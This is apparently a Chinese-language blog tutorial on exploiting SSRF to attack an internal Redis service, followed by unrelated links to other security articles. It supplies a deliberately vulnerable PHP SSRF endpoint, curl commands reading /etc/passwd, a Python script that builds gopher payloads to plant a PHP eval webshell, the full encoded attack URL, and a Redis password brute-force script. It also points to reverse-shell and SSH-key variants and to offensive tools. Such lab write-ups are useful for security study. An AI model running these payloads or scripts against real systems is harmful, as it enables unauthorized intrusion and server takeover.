代码编织梦想

SSRF漏洞之Redis利用篇

SSRF–(Server-side Request Forge, 服务端请求伪造)
定义:由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务

SSRF漏洞思维导图如下,本篇主要介绍利用SSRF漏洞攻击内网Redis

image-20210121152856276

SSRF攻击内网Redis

当存在SSRF漏洞且内网中Redis服务可以未授权访问时,利用Redis 任意文件写入成为十分常见的利用方式,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议可以攻击内网中的 Redis。

在之前的文章《浅谈SSRF漏洞之基础篇》,我们了解了file, dict, gopher协议的常规利用

# 利用file协议查看文件
curl -v 'http://sec.com/ssrf.php?url=file:///etc/passwd'

# 利用dict探测端口
curl -v 'http://sec.com/ssrf.php?url=dict://127.0.0.1:6379'

# 利用gopher协议反弹shell
curl -v 'http://sec.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379/_....'

想要利用 Gopher 协议构造报文我们就必须弄清楚Redis是怎么进行数据传输的即【RESP协议】

Redis传输协议–[RESP协议]

Redis未授权访问

使用docker搭建现成的Redis未授权漏洞环境进行试验,过程如下:

  1. 获取Redis定制镜像
# 搜索镜像
docker search ju5ton1y
# 拉取镜像
docker pull ju5ton1y/redis
  1. 运行Redis容器

    ps:想要了解ju5ton1y/redis镜像dockerfile如何编写的同学可以看文末彩蛋~

# 运行Redis
docker run -p 6788:6379 --name redis_test -d ju5ton1y/redis

-p 6788:6379 # 端口映射,格式【主机(宿主)端口:容器端口】

-d ju5ton1y/redis # 后台运行容器,返回容器ID

–name redis_test # 命名容器

image-20210119222235294

  1. 进入容器,安装tcpdump抓包工具
# 新终端进入Redis容器
docker exec -it redis_test /bin/bash

# 将redis.conf改为无密码未授权
sed -i 's/requirepass 123123/#requirepass 123123/g' /etc/redis.conf

# 重启容器使配置生效
docker restart redis_test

image-20210119222559082
image-20210119224913059

# 重新进入容器安装tcpdump
apt-get install tcpdump 
# 监听eth0网卡的6379端口,将报文保存为nopass.pcap
tcpdump -i eth0 port 6379 -w nopass.pcap

image-20210119225549995

  1. 本地客户端进行连接未授权访问,后使用Wireshark打开nopass.pcap

image-20210119230547720

查看TCP流数据,可以看到Redis的数据传输格式,结合官网学习RESP协议,介绍如下

Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信

RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式

RESP实际上是一个支持以下数据类型的序列化协议

  • 简单字符串
  • 错误
  • 整数
  • 批量字符串
  • 数组

RESP在Redis中用作请求 - 响应协议的方式如下:

  1. 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器
  2. 服务器根据命令实现回复一种RESP类型

在RESP中,某些数据的类型取决于第一个字节:

  • 对于客户端请求Simple Strings,回复的第一个字节是+
  • 对于客户端请求error,回复的第一个字节是-
  • 对于客户端请求Integer,回复的第一个字节是:
  • 对于客户端请求Bulk Strings,回复的第一个字节是$
  • 对于客户端请求array,回复的第一个字节是*

此外,RESP能够使用稍后指定的Bulk StringsArray的特殊变体来表示Null值。

在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。

可以看到客户端将命令发送到Redis服务器的流程为

  • 客户端向Redis服务器发送一个仅由Bulk Strings组成的RESP Arrays
  • Redis服务器发送任何有效RESP数据类型作为回复返回给客户端

Bulk Strings用于表示长度最大为512 MB的单个二进制安全字符串,按以下方式编码:

  • $字节数:一个$后跟组成字符串的字节数,由CRLF终止。
  • 字符串数据
  • CRLF

字符串f4ke的编码如下:$4\r\nf4ke\r\n,如下图格式

image-20210118161113394

RESP Arrays使用以下格式发送:

  • *元素数*字符作为第一个字节,后跟数组中的元素数,后跟CRLF
  • 数组中的每个元素都附加RESP类型

现在通过下图理解数据包:

  • 每一个*number代表每一行命令,number代表每行命令中数组中的元素个数
    • 图中的*3,代表config get dbfilename这行命令的3个元素
  • $number代表每个元素的长度
    • $6,代表config长度

image-20210118161658418

Redis认证访问

修改redis.conf配置,有密码的情况下进行抓包

# 进入容器中修改配置文件
sed -i 's/# requirepass 123123/requirepass 123123/g' /data/redis/redis.conf
# 重启docker容器
docker restart redis_test
# 监听eth0网卡的6379端口,将报文保存为pass.pcap
tcpdump -i eth0 port 6379 -w pass.pcap

wireshark追踪TCP流:

image-20210120101156767

/tmp下成功被写入shell.php

image-20210120102349713

可以看到在每次请求命令执行之前都使用下面格式进行验证:

*2
$4
AUTH
$6
123123

官方文档中提到:客户端可以通过一个写操作发送多个命令,而不需要在发出下一个命令之前读取上一个命令的服务器应答

因此,在具有认证(弱口令)的情况下,我们依然可以进行与未授权相同的攻击方式,只需要在攻击脚本中加上验证数据即可

SSRF攻击复现

Redis未授权访问

测试环境:

受害机:腾讯云VPS php7.2 (安装curl扩展)+ apache2 + redis6.0.6

攻击机:windows10

开局给出一段ssrf漏洞代码,利用它找到flag~

# ssrf.php
<?php
$ch = curl_init(); //创建新的 cURL 资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项
# curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
# curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);   //抓取 URL 内容并把它传递给浏览器,存储进文件
curl_close($ch);  //关闭 cURL 资源,并且释放系统资源
?>

image-20210120165807075

使用dict协议来进行探测内网的主机存活与端口开放情况,使用burpsuite工具设置爆破1000-9000端口,爆破结果如下,6788端口存在redis服务

image-20210120165542929

且本地无法访问vps的6788redis端口,其Redis服务只面向vps所在的内网

image-20210120165514692

初步思路:构造Redis命令写入webshell,尝试使用中国蚁剑连接查找flag

flushall
set 1 '<?php eval($_POST[\"f4ke\"]);?>'
config set dir /var/www/html
config set dbfilename 5he1l.php
save
quit

根据RESP协议使用七友师傅编写的python脚本redisSsrf.py,将上述命令转换为gopher payload

import urllib.parse

protocol = "gopher://"
ip = "127.0.0.1"
port = "6788"
shell = "\n\n<?php eval($_POST[\"f4ke\"]);?>\n\n"
filename = "5he1l.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),  
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save",
     "quit"
    ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
    cmd += CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))

    # print(payload)
    print(urllib.parse.quote(payload))

执行redisSsrf.py脚本,生成payload

image-20210121102100251

放入url参数浏览器请求如下,成功执行Redis命令写入webshell

http://xx.xx.xx.xx:8000/ssrf.php?url=gopher%3A//127.0.0.1%3A6788/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522f4ke%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250A5he1l.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

image-20210121095445185

使用中国蚁剑建立连接,文件即为我们刚刚写入的5he1l.php,密码为f4ke

image-20210120172105728

保存数据右键文件管理,即可找到flag文件

image-20210120172241143

image-20210120172308517

Redis弱口令认证

测试环境:

受害机:腾讯云VPS php7.2 (安装curl扩展)+ apache2 + redis6.0.6

攻击机:windows10

浏览器访问返回如下:未对请求进行密码认证

image-20210121110647323

我们进一步利用dict协议,使用下面的格式尝试认证密码

dict://serverip:port/命令:参数
dict://127.0.0.1:6788/auth:123456

使用auth:123456,返回结果:

image-20210121140919331

使用auth:123123,返回结果:

image-20210121141016108

通过两次响应结果,可以确定Redis的密码为123123

因此在面对内网redis认证的情况下,可以利用dict或者gopher等协议编写脚本尝试爆破Redis口令,简单实现爆破脚本如下:

import urllib.request
import urllib.parse 

url = "http://xx.xx.xx.xx:8000/ssrf.php?url="

param = 'dict://127.0.0.1:6788/auth:'

with open(r'd:\test\top100.txt', 'r') as f:
    for i in range(100):
        passwd = f.readline()
        all_url = url + param + passwd
        # print(all_url)
        request = urllib.request.Request(all_url)
        response = urllib.request.urlopen(request).read()
        # print(response)
        if "+OK\r\n+OK\r\n".encode() in response:
            print("redis passwd: " + passwd)
            break

将爆破得到的密码,加入到redisSsrf.py脚本中,接下来的攻击与未授权访问的攻击流程一样获得服务器的权限

SSRF利用工具

Gopherus - https://github.com/tarunkant/Gopherus

Gopherus可以帮助我们直接生成Gopher payload,以利用SSRF(服务器端请求伪造)并获得RCE(远程代码执行)

例如,本篇文章中的七友师傅的脚本即可用此工具代替直接生成payload

image-20210121161607326

常用的还有以下两个工具

  • SSRFmap - https://github.com/swisskyrepo/SSRFmap
  • shellver - https://github.com/0xR0/shellver

总结

SSRF攻击内网Redis的利用方式除了写入webshell之外,还可以利用

  • 计划任务执行命令反弹shell
  • 写ssh-keygen公钥然后使用私钥登陆

这两种方法在《Redis未授权漏洞总结》一文中都有详细利用,只要将payload结合本文redisSsrf.py的脚本,就可以实现攻击

通过Redis攻击环境的搭建,熟悉了docker命令及dockerfile的编写,还有ubuntu apache2配置及自带的防火墙ufw使用

彩蛋

Dockerfile文件如何实现Redis未授权环境的定制:

#Redis 未授权访问

# 基于ubuntu:16.04版本
FROM ubuntu:16.04

# Maintainer: 设置该镜像的作者
MAINTAINER ju5ton1y


# RUN:用于执行后面跟着的命令行命令。有以下俩种格式:

## shell 格式:等同于在终端操作的 shell 命令
RUN echo "deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse" > /etc/apt/sources.list  # 换源


RUN apt-get update  # 更新
RUN apt-get install -y openssh-server make gcc
#RUN wget http://download.redis.io/releases/redis-3.2.11.tar.gz

# COPY:从上下文目录中复制文件或者目录到容器里指定路径
COPY redis-3.2.11.tar.gz ./  # 复制redis安装包到容器当前文件夹
RUN tar xzf redis-3.2.11.tar.gz # 解压
RUN cd redis-3.2.11 && make && cd src && cp redis-server /usr/bin &&  cp redis-cli /usr/bin  # 编译并将redis-server及redis-cli复制到/usr/bin目录下

# ADD:复制文件指令。它有两个参数<source>和<destination>。destination是容器内的路径。source可以是URL或者是启动配置上下文中的一个文件
ADD redis.conf /etc/redis.conf  # 映射配置文件到容器内
ADD sshd_config /etc/ssh/sshd_config

# EXPOSE:指定容器在运行时监听的端口
EXPOSE 6379 22

RUN /etc/init.d/ssh restart  # 重启ssh服务

# CMD 类似于 RUN 指令,在docker run时运行
## exec 格式:等价于 RUN redis-server /etc/redis.conf
CMD ["redis-server", "/etc/redis.conf"]  # 以被映射到容器中的配置文件启动redis服务

其中启动配置上下文目录如下:

image-20210119215105383

参考

Web安全基础学习之SSRF漏洞利用

SSRF学习记录:需科学上网

SSRF in PHP

浅析SSRF认证攻击Redis

Docker从入门到实践

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/weixin_39664643/article/details/112966684

《web安全入门》(九)XSS-爱代码爱编程

•XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意HTML代码,当用户浏览该页面时,嵌入Web页面 的HTML代码会被执行,从而达到恶意用户的特殊 目的。XSS属于被动式的攻击,因为其被动且不好 利用,所以许多人常忽略其危害性。在XSS攻击中,一般有三个角色参与:攻击者、目标服务器、受 害者

Web安全之CSRF漏洞-爱代码爱编程

1 CSRF介绍 1.1 定义: 跨站请求伪造,冒充用户在站内的正常操作。 条件: 1.登录受信任网站A,并在本地生成Cookie。 2.在不登出A的情况下,访问危险网站B。 1.2 成因: 1、cookie有时效性 2、Js可发送数据包 CSRF漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后

红蓝对抗---蓝队手册-爱代码爱编程

0x01 前言 红蓝对抗的思想最早可追溯到我国现存最早的一步兵书《孙子兵法》,在孙子·谋攻篇有这么一句话:"知己知彼,百战不殆",意为如果对敌我双方的情况都能了解透彻,打多少次仗都不会失败。在信息安全领域目前大家都以一个共识:"未知攻,焉知防",攻防对抗本身是一个持续的过程,在具体的对抗中,对对手了解越多就会占据主导地位。红蓝对抗的主要目的在于,提高公司

Redis未授权漏洞总结-爱代码爱编程

Redis未授权漏洞总结 0x00 Redis介绍 Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库,其具备如下特性: 基于内存运行,性能高效支持分布式,理论上可以无限扩展key-value存储系统开源的使用ANSI C语言编写、遵守BS

CAS实现SSO单点登录原理-爱代码爱编程

1. CAS 简介 1.1. What is CAS ? CAS ( Central Authentication Service ) 是 Yale 大学发起的一个企业级的、开源的项目,旨在为 Web 应用系统提供一种可靠的单点登录解决方法(属于 Web SSO )。 CAS 开始于 2001 年, 并在 2004 年 12 月正式成为 JA-SIG

XSS学习笔记---Pikachu漏洞平台-爱代码爱编程

文章目录 XSS一.XSS概述二.XSS漏洞测试流程三.XSS注入实例3.1反射性XSS3.1.1概述3.1.2攻击实例3.2存储性XSS3.2.1概述3.2.2 注入实例3.3DOM型XSS3.3.1概述3.3.2攻击实例3.4Cookie获取 XSS 一.XSS概述 XSS是发生在Web前端的漏洞,所以其危害对象主要是前端用户XSS漏洞